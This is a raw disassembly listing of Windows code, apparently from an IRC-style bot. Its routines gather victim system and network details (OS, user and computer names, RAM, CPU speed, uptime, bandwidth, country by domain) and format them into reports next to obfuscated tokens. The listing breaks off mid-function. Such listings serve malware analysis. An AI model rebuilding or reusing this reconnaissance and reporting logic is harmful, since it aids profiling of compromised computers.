		mov	eax, edx
		xor	edx, edx
		div	ebx
		cmp	[esp+0Ch+arg_8], 0
		jnz	short loc_418A8B
		test	ecx, ecx
		ja	short loc_418A8B
		push	eax
		push	edi
		push	offset a0_2d0_2d ; "%0.2d:%0.2d"
		push	esi
		call	sub_422063
		add	esp, 10h
		jmp	short loc_418A9C
; ---------------------------------------------------------------------------


loc_418A8B:				; CODE XREF: sub_418A1B+58j
					; sub_418A1B+5Cj
		push	eax
		push	edi
		push	ecx
		push	offset aDDayS0_2d0_2d ;	"%d day(s) %0.2d:%0.2d"
		push	esi
		call	sub_422063
		add	esp, 14h


loc_418A9C:				; CODE XREF: sub_418A1B+6Ej
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418A1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AA2	proc near		; CODE XREF: sub_418B58+2EFp
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_418AAA:				; CODE XREF: sub_418AA2+2Fj
					; sub_418AA2+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_42F15C	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_424AA0
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_418AAA
		jb	short loc_418AD9
		cmp	ebx, edi
		ja	short loc_418AAA


loc_418AD9:				; CODE XREF: sub_418AA2+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_424A20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_418B4C
		jb	short loc_418AF8
		cmp	edi, 50h
		jnb	short loc_418AFD


loc_418AF8:				; CODE XREF: sub_418AA2+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_418AFD:				; CODE XREF: sub_418AA2+54j
		test	ecx, ecx
		ja	short loc_418B4C
		jb	short loc_418B08
		cmp	edi, 47h
		jnb	short loc_418B0D


loc_418B08:				; CODE XREF: sub_418AA2+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_418B0D:				; CODE XREF: sub_418AA2+64j
		test	ecx, ecx
		ja	short loc_418B4C
		jb	short loc_418B18
		cmp	edi, 37h
		jnb	short loc_418B1D


loc_418B18:				; CODE XREF: sub_418AA2+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_418B1D:				; CODE XREF: sub_418AA2+74j
		test	ecx, ecx
		ja	short loc_418B4C
		jb	short loc_418B28
		cmp	edi, 26h
		jnb	short loc_418B2D


loc_418B28:				; CODE XREF: sub_418AA2+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_418B2D:				; CODE XREF: sub_418AA2+84j
		test	ecx, ecx
		ja	short loc_418B4C
		jb	short loc_418B38
		cmp	edi, 1Eh
		jnb	short loc_418B3D


loc_418B38:				; CODE XREF: sub_418AA2+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_418B3D:				; CODE XREF: sub_418AA2+94j
		test	ecx, ecx
		ja	short loc_418B4C
		jb	short loc_418B48
		cmp	edi, 0Ah
		jnb	short loc_418B4C


loc_418B48:				; CODE XREF: sub_418AA2+9Fj
		xor	eax, eax
		xor	edx, edx


loc_418B4C:				; CODE XREF: sub_418AA2+4Dj
					; sub_418AA2+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_418AA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B58	proc near		; CODE XREF: sub_403B2C+1CD3p

var_1590	= byte ptr -1590h
var_590		= byte ptr -590h
var_490		= byte ptr -490h
var_38C		= byte ptr -38Ch
var_28C		= byte ptr -28Ch
var_200		= byte ptr -200h
var_1B8		= byte ptr -1B8h
var_170		= byte ptr -170h
var_13C		= byte ptr -13Ch
var_108		= byte ptr -108h
var_F0		= byte ptr -0F0h
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1590h
		call	sub_4220C0
		push	ebx
		push	esi
		lea	eax, [ebp+var_D0]
		push	edi
		push	eax
		mov	[ebp+var_4], offset a??? ; "???"
		mov	[ebp+var_D0], 94h
		call	dword_42F044	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_CC], 4
		jnz	short loc_418BE6
		cmp	[ebp+var_C8], ebx
		jnz	short loc_418BC2
		cmp	[ebp+var_C0], 1
		jnz	short loc_418BA9
		mov	[ebp+var_4], offset a95	; "95"


loc_418BA9:				; CODE XREF: sub_418B58+48j
		cmp	[ebp+var_C0], 2
		jnz	loc_418C74
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	loc_418C45
; ---------------------------------------------------------------------------


loc_418BC2:				; CODE XREF: sub_418B58+3Fj
		cmp	[ebp+var_C8], 0Ah
		jnz	short loc_418BD4
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418BD4:				; CODE XREF: sub_418B58+71j
		cmp	[ebp+var_C8], 5Ah
		jnz	short loc_418C3C
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418BE6:				; CODE XREF: sub_418B58+37j
		cmp	[ebp+var_CC], 5
		jnz	short loc_418C24
		cmp	[ebp+var_C8], ebx
		jnz	short loc_418C00
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418C00:				; CODE XREF: sub_418B58+9Dj
		cmp	[ebp+var_C8], 1
		jnz	short loc_418C12
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418C12:				; CODE XREF: sub_418B58+AFj
		cmp	[ebp+var_C8], 2
		jnz	short loc_418C3C
		mov	[ebp+var_4], offset a2k3 ; "2K3"
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418C24:				; CODE XREF: sub_418B58+95j
		cmp	[ebp+var_CC], 6
		jnz	short loc_418C3C
		cmp	[ebp+var_C8], ebx
		jnz	short loc_418C3C
		mov	[ebp+var_4], offset aVista_0 ; "ViSTA"


loc_418C3C:				; CODE XREF: sub_418B58+7Aj
					; sub_418B58+83j ...
		cmp	[ebp+var_C0], 2
		jnz	short loc_418C74


loc_418C45:				; CODE XREF: sub_418B58+65j
		cmp	[ebp+var_BC], bl
		jz	short loc_418C74
		lea	eax, [ebp+var_BC]
		push	eax
		lea	eax, [ebp+var_28C]
		push	[ebp+var_4]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_28C]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_418C74:				; CODE XREF: sub_418B58+58j
					; sub_418B58+EBj ...
		mov	eax, 100h
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		call	dword_4541D8	; GetUserNameA
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		call	dword_454354	; GetComputerNameA
		lea	eax, [ebp+var_490]
		push	104h
		push	eax
		call	dword_42F110	; GetSystemDirectoryA
		lea	eax, [ebp+var_200]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_42F10C	; GetDateFormatA
		lea	eax, [ebp+var_1B8]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_42F108	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_F0]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_F0]
		push	eax
		call	dword_42F104	; GlobalMemoryStatus
		mov	eax, [ebp+var_E8]
		push	ebx
		shr	eax, 0Ah
		push	eax
		call	sub_41F537
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		call	sub_422063
		mov	eax, [ebp+var_E4]
		push	ebx
		shr	eax, 0Ah
		push	eax
		call	sub_41F537
		push	eax
		lea	eax, [ebp+var_170]
		push	eax
		call	sub_422063
		mov	esi, dword_42F0D0
		add	esp, 20h
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	esi ; dword_42F0D0
		add	eax, 2
		push	eax
		mov	[ebp+var_8], eax
		call	sub_422F79
		pop	ecx
		mov	edi, eax
		push	edi
		mov	[ebp+var_1C], edi
		push	[ebp+var_8]
		call	esi ; dword_42F0D0
		mov	[ebp+var_8], edi
		cmp	[edi], bl
		jz	short loc_418DDB


loc_418D77:				; CODE XREF: sub_418B58+281j
		push	offset off_43E640
		push	[ebp+var_8]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_418DC6
		push	40000000h
		lea	eax, [ebp+var_108]
		push	[ebp+var_8]
		push	eax
		call	sub_415255
		add	esp, 0Ch
		mov	esi, eax
		lea	edi, [ebp+var_3C]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_34]
		mov	edi, [ebp+var_1C]
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_30]
		adc	[ebp+var_14], eax
		mov	eax, [ebp+var_2C]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_28]
		adc	[ebp+var_C], eax


loc_418DC6:				; CODE XREF: sub_418B58+230j
		mov	esi, [ebp+var_8]
		push	esi
		call	sub_422120
		lea	eax, [esi+eax+1]
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[eax], bl
		jnz	short loc_418D77


loc_418DDB:				; CODE XREF: sub_418B58+21Dj
		push	edi
		call	sub_4230B3
		pop	ecx
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	1
		push	ebx
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_418A1B
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_170]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_CC]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		call	sub_418AA2
		push	edx
		push	eax
		push	offset aFr3nb0ttxid1mn ; "Fr3NB0Ttxid1Mnsrm1FhS.k."
		push	offset aSCpuI64umhzRam ; "%s (CPU): %I64uMHz, (RAM): %sKB total, "...
		lea	eax, [ebp+var_1590]
		push	1000h
		push	eax
		call	sub_42219B
		add	esp, 58h
		cmp	[ebp+arg_8], ebx
		lea	eax, [ebp+var_1590]
		pop	edi
		pop	esi
		pop	ebx
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_418E88
		call	sub_4104F6
		jmp	short loc_418E8D
; ---------------------------------------------------------------------------


loc_418E88:				; CODE XREF: sub_418B58+327j
		call	sub_410491


loc_418E8D:				; CODE XREF: sub_418B58+32Ej
		add	esp, 0Ch
		leave
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E92	proc near		; CODE XREF: sub_418F30+A6p
					; sub_418F30+AEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		xor	ebx, ebx
		push	1
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		call	dword_4542DC	; GetIfTable
		cmp	eax, 7Ah
		jnz	short loc_418EDD
		push	[ebp+var_4]
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_418EDD
		push	[ebp+var_4]
		push	ebx
		push	esi
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	1
		push	eax
		push	esi
		call	dword_4542DC	; GetIfTable
		test	eax, eax
		jz	short loc_418EE1


loc_418EDD:				; CODE XREF: sub_418E92+1Cj
					; sub_418E92+2Bj
		xor	eax, eax
		jmp	short loc_418F1B
; ---------------------------------------------------------------------------


loc_418EE1:				; CODE XREF: sub_418E92+49j
		push	edi
		mov	edi, [esi]
		cmp	edi, ebx
		mov	[ebp+var_8], ebx
		jbe	short loc_418F0F
		lea	eax, [esi+230h]


loc_418EF1:				; CODE XREF: sub_418E92+7Bj
		mov	edx, [eax]
		cmp	edx, ebx
		jbe	short loc_418F02
		mov	ecx, [eax+18h]
		cmp	ecx, ebx
		jbe	short loc_418F02
		cmp	edx, ecx
		jnz	short loc_418F1F


loc_418F02:				; CODE XREF: sub_418E92+63j
					; sub_418E92+6Aj
		inc	[ebp+var_8]
		add	eax, 35Ch
		cmp	[ebp+var_8], edi
		jb	short loc_418EF1


loc_418F0F:				; CODE XREF: sub_418E92+57j
		xor	edi, edi


loc_418F11:				; CODE XREF: sub_418E92+9Cj
		push	esi
		call	sub_4230B3
		pop	ecx
		mov	eax, edi
		pop	edi


loc_418F1B:				; CODE XREF: sub_418E92+4Dj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418F1F:				; CODE XREF: sub_418E92+6Ej
		cmp	[ebp+arg_0], ebx
		jz	short loc_418F29
		mov	eax, [eax-4]
		jmp	short loc_418F2C
; ---------------------------------------------------------------------------


loc_418F29:				; CODE XREF: sub_418E92+90j
		mov	eax, [eax+14h]


loc_418F2C:				; CODE XREF: sub_418E92+95j
		mov	edi, eax
		jmp	short loc_418F11
sub_418E92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F30	proc near		; CODE XREF: sub_403B2C+1DCDp

var_20F4	= byte ptr -20F4h
var_10F4	= byte ptr -10F4h
var_F4		= byte ptr -0F4h
var_74		= byte ptr -74h
var_40		= byte ptr -40h
var_C		= byte ptr -0Ch
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 20F4h
		call	sub_4220C0
		push	ebx
		push	esi
		mov	esi, 80h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_F4]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		cmp	dword_4543FC, ebx
		jnz	short loc_418FA9
		push	ebx
		lea	eax, [ebp+var_F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4541C4	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_418F8A
		lea	eax, [ebp+var_F4]
		push	offset dword_442274
		push	eax
		call	sub_422063
		pop	ecx
		pop	ecx


loc_418F8A:				; CODE XREF: sub_418F30+45j
		test	[ebp+var_4], 1
		lea	eax, [ebp+var_C]
		jz	short loc_418FA2
		push	offset dword_442268


loc_418F98:				; CODE XREF: sub_418F30+77j
		push	eax
		call	sub_422063
		pop	ecx
		pop	ecx
		jmp	short loc_418FC8
; ---------------------------------------------------------------------------


loc_418FA2:				; CODE XREF: sub_418F30+61j
		push	offset off_442264
		jmp	short loc_418F98
; ---------------------------------------------------------------------------


loc_418FA9:				; CODE XREF: sub_418F30+2Ej
		mov	esi, offset off_442260
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_F4]
		push	esi
		push	eax
		call	sub_422063
		add	esp, 10h


loc_418FC8:				; CODE XREF: sub_418F30+70j
		xor	esi, esi
		xor	edi, edi
		cmp	dword_454414, ebx
		jnz	short loc_418FE7
		push	1
		call	sub_418E92
		push	ebx
		mov	esi, eax
		call	sub_418E92
		pop	ecx
		mov	edi, eax
		pop	ecx


loc_418FE7:				; CODE XREF: sub_418F30+A2j
		cmp	[ebp+arg_C], ebx
		push	ebx
		jz	short loc_41900B
		shr	esi, 14h
		push	esi
		call	sub_41F537
		push	eax
		mov	esi, offset aSmb ; "%sMB"
		lea	eax, [ebp+var_40]
		push	esi
		push	eax
		call	sub_422063
		shr	edi, 14h
		jmp	short loc_41904A
; ---------------------------------------------------------------------------


loc_41900B:				; CODE XREF: sub_418F30+BBj
		cmp	[ebp+arg_10], ebx
		jz	short loc_41902E
		shr	esi, 1Eh
		push	esi
		call	sub_41F537
		push	eax
		mov	esi, offset aSgb ; "%sGB"
		lea	eax, [ebp+var_40]
		push	esi
		push	eax
		call	sub_422063
		shr	edi, 1Eh
		jmp	short loc_41904A
; ---------------------------------------------------------------------------


loc_41902E:				; CODE XREF: sub_418F30+DEj
		shr	esi, 0Ah
		push	esi
		call	sub_41F537
		push	eax
		mov	esi, offset aSkb ; "%sKB"
		lea	eax, [ebp+var_40]
		push	esi
		push	eax
		call	sub_422063
		shr	edi, 0Ah


loc_41904A:				; CODE XREF: sub_418F30+D9j
					; sub_418F30+FCj
		push	ebx
		push	edi
		call	sub_41F537
		push	eax
		lea	eax, [ebp+var_74]
		push	esi
		push	eax
		call	sub_422063
		add	esp, 28h
		mov	esi, offset dword_455388
		push	esi
		call	sub_414173
		test	eax, eax
		pop	ecx
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_419079
		mov	eax, offset aNo	; "No"


loc_419079:				; CODE XREF: sub_418F30+142j
		mov	edi, offset dword_4552E8
		push	eax
		push	edi
		push	offset dword_4552D0
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k."
		mov	esi, 1000h
		push	offset aSConnectionSIn ; "%s (Connection): %s, (IntIP):	%s, (ExtI"...
		lea	eax, [ebp+var_10F4]
		push	esi
		push	eax
		call	sub_42219B
		push	edi
		call	sub_41912B
		push	eax
		lea	eax, [ebp+var_20F4]
		push	offset aCountryS_ ; "(Country):	%s. "
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_20F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_10F4]
		push	eax
		call	sub_421F40
		add	esp, 40h
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_20F4]
		push	offset aBandwidthDownl ; "(Bandwidth): Downloaded: %s, Uploaded: "...
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_20F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_10F4]
		push	eax
		call	sub_421F40
		add	esp, 1Ch
		cmp	[ebp+arg_8], ebx
		lea	eax, [ebp+var_10F4]
		pop	edi
		pop	esi
		pop	ebx
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_419121
		call	sub_4104F6
		jmp	short loc_419126
; ---------------------------------------------------------------------------


loc_419121:				; CODE XREF: sub_418F30+1E8j
		call	sub_410491


loc_419126:				; CODE XREF: sub_418F30+1EFj
		add	esp, 0Ch
		leave
		retn
sub_418F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41912B	proc near		; CODE XREF: sub_418F30+177p

var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A0h
		push	esi
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_0]
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	eax, [ebp+var_A0]
		push	2Eh
		push	eax
		call	sub_4234F0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	loc_41990A
		push	offset a_gov	; ".gov"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41917A
		mov	eax, offset aGovernmentLine ; "Government Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41917A:				; CODE XREF: sub_41912B+43j
		push	offset a_net	; ".net"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419195
		mov	eax, offset aNetworkLine ; "Network Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419195:				; CODE XREF: sub_41912B+5Ej
		push	offset a_info	; ".info"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4191B0
		mov	eax, offset aInformationalL ; "Informational Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4191B0:				; CODE XREF: sub_41912B+79j
		push	offset a_org	; ".org"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4191CB
		mov	eax, offset aOrganisationLi ; "Organisation Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4191CB:				; CODE XREF: sub_41912B+94j
		push	offset a_com	; ".com"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4191E6
		mov	eax, offset aCompanyLine ; "Company Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4191E6:				; CODE XREF: sub_41912B+AFj
		push	offset a_mil	; ".mil"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419201
		mov	eax, offset aMilitaryLine ; "Military Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419201:				; CODE XREF: sub_41912B+CAj
		push	offset a_edu	; ".edu"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41921C
		mov	eax, offset aEducationDept_ ; "Education Dept. Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41921C:				; CODE XREF: sub_41912B+E5j
		push	offset dword_4425FC
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419237
		mov	eax, offset dword_4425EC
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419237:				; CODE XREF: sub_41912B+100j
		push	offset off_4425E8
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41937A
		push	offset a_ar	; ".ar"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4193B0
		push	offset a_at	; ".at"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41927C
		mov	eax, offset aAustria ; "Austria"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41927C:				; CODE XREF: sub_41912B+145j
		push	offset a_au	; ".au"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419297
		mov	eax, offset aAustralia ; "Australia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419297:				; CODE XREF: sub_41912B+160j
		push	offset a_be	; ".be"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4192B2
		mov	eax, offset aBelgium ; "Belgium"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4192B2:				; CODE XREF: sub_41912B+17Bj
		push	offset a_bg	; ".bg"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4192CD
		mov	eax, offset aBulgaria ;	"Bulgaria"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4192CD:				; CODE XREF: sub_41912B+196j
		push	offset a_br	; ".br"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4192E8
		mov	eax, offset aBrazil ; "Brazil"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4192E8:				; CODE XREF: sub_41912B+1B1j
		push	offset a_by	; ".by"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419303
		mov	eax, offset aBelarus ; "Belarus"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419303:				; CODE XREF: sub_41912B+1CCj
		push	offset off_442590
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41931E
		mov	eax, offset aCanada ; "Canada"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41931E:				; CODE XREF: sub_41912B+1E7j
		push	offset off_44258C
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4198BD
		push	offset a_ch	; ".ch"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41934E
		mov	eax, offset aSwitzerland ; "Switzerland"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41934E:				; CODE XREF: sub_41912B+217j
		push	offset a_cl	; ".cl"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419369
		mov	eax, offset aChile ; "Chile"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419369:				; CODE XREF: sub_41912B+232j
		push	offset a_cn	; ".cn"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419384


loc_41937A:				; CODE XREF: sub_41912B+11Bj
		mov	eax, offset aChina ; "China"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419384:				; CODE XREF: sub_41912B+24Dj
		push	offset a_co	; ".co"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41939F
		mov	eax, offset aCorpLine ;	"Corp Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41939F:				; CODE XREF: sub_41912B+268j
		push	offset a_cr	; ".cr"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4193BA


loc_4193B0:				; CODE XREF: sub_41912B+130j
		mov	eax, offset aUruguay ; "Uruguay"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4193BA:				; CODE XREF: sub_41912B+283j
		push	offset a_cx	; ".cx"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41971F
		push	offset a_cz	; ".cz"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4193EA
		mov	eax, offset aCzechRepublic ; "Czech Republic"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4193EA:				; CODE XREF: sub_41912B+2B3j
		push	offset a_de	; ".de"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419405
		mov	eax, offset aGermany ; "Germany"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419405:				; CODE XREF: sub_41912B+2CEj
		push	offset a_dk	; ".dk"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419420
		mov	eax, offset aDenmark ; "Denmark"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419420:				; CODE XREF: sub_41912B+2E9j
		push	offset a_ee	; ".ee"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41943B
		mov	eax, offset aEstonia ; "Estonia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41943B:				; CODE XREF: sub_41912B+304j
		push	offset a_es	; ".es"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419456
		mov	eax, offset aSpain ; "Spain"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419456:				; CODE XREF: sub_41912B+31Fj
		push	offset a_fi	; ".fi"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419471
		mov	eax, offset aFinland ; "Finland"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419471:				; CODE XREF: sub_41912B+33Aj
		push	offset a_fj	; ".fj"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41948C
		mov	eax, offset aFiji ; "FiJi"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41948C:				; CODE XREF: sub_41912B+355j
		push	offset a_fr	; ".fr"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4194A7
		mov	eax, offset aFrance ; "France"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4194A7:				; CODE XREF: sub_41912B+370j
		push	offset a_ge	; ".ge"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4194C2
		mov	eax, offset aGeorgia ; "Georgia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41912B+38Bj
